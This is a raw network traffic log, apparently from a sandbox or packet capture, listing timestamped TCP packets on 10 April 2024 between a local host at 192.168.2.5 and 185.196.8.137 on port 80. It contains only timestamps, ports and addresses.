Apr 10, 2024 10:24:12.282322884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282336950 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282363892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282422066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282437086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282449961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282463074 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282478094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282524109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282610893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282625914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282680988 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282695055 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282716036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282730103 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282744884 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282785892 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282799959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282820940 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282864094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282877922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282891035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282905102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.282989025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283003092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283062935 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283165932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283180952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283194065 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283237934 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283281088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.283478022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.284564018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285017967 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285031080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285044909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285058022 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285070896 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285084009 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285098076 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285212040 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285293102 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.285758972 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286501884 CEST	80	49719	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286516905 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286530018 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286597013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286861897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.286904097 CEST	49719	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.287164927 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287292957 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287350893 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287364960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287379026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287393093 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.287448883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292119026 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292134047 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292146921 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292412996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292514086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292535067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292615891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292670965 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292761087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292774916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292788982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.292992115 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293050051 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293062925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293076992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293091059 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293267012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293281078 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293293953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293306112 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293318987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293332100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293344975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293358088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293370962 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293421984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293435097 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293448925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293652058 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293665886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293843985 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.293955088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294085979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294169903 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294308901 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294322968 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294457912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294471979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294485092 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294620037 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294632912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294646025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294658899 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294748068 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.294763088 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295274973 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295289993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295303106 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295494080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295507908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295521021 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295533895 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295790911 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.295993090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296006918 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296106100 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296195984 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296243906 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296356916 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296371937 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296386003 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296482086 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296495914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296528101 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296540976 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296554089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296816111 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296921015 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296935081 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296982050 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.296996117 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297008991 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297020912 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297034025 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297046900 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297060013 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297509909 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297523975 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297671080 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297816992 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.297832966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.298166990 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.298271894 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.298342943 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.298620939 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.298635960 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299016953 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299058914 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299092054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299150944 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299196959 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.299228907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.301656961 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.301820993 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.301878929 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.301939011 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302292109 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302304983 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302402020 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302476883 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302548885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302623987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302758932 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302825928 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.302998066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.303076982 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.303128004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.303438902 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.303599119 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.303611994 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.304064035 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.304079056 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.304322004 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.304728031 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.304812908 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.305291891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.305412054 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.305425882 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.305510044 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.305855036 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.306070089 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.306485891 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.306580067 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.306632996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.306767941 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.309254885 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.309479952 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.315877914 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315968990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315968990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315968990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315968990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315992117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315992117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.315992117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316085100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316085100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316085100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316258907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316258907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316258907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316258907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.316282034 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.320811987 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.320828915 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.320955038 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.320967913 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.321026087 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.321085930 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.321171999 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.328166008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328166008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328166962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328166962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328166962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328244925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328244925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328244925 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328330994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328330994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328331947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328692913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328722000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328722000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328722000 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328778028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328778028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328778028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328912020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328959942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328959942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.328959942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329099894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329099894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329099894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329099894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329099894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329159975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329159975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329188108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329283953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329283953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329283953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329283953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329283953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329503059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329503059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329503059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329503059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329503059 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329582930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329683065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329683065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329683065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329787016 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.329911947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.330368996 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.330452919 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.330617905 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.330702066 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.330946922 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331058979 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331229925 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331326008 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331446886 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331597090 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331659079 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331672907 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.331866980 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332242966 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332453012 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332494020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332597971 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332611084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332724094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332753897 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332797050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332797050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332797050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332899094 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332897902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332932949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.332978010 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333000898 CEST	80	49718	185.196.8.137	192.168.2.5
Apr 10, 2024 10:24:12.333010912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333010912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333010912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333010912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333097935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333097935 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.333097935 CEST	49718	80	192.168.2.5	185.196.8.137
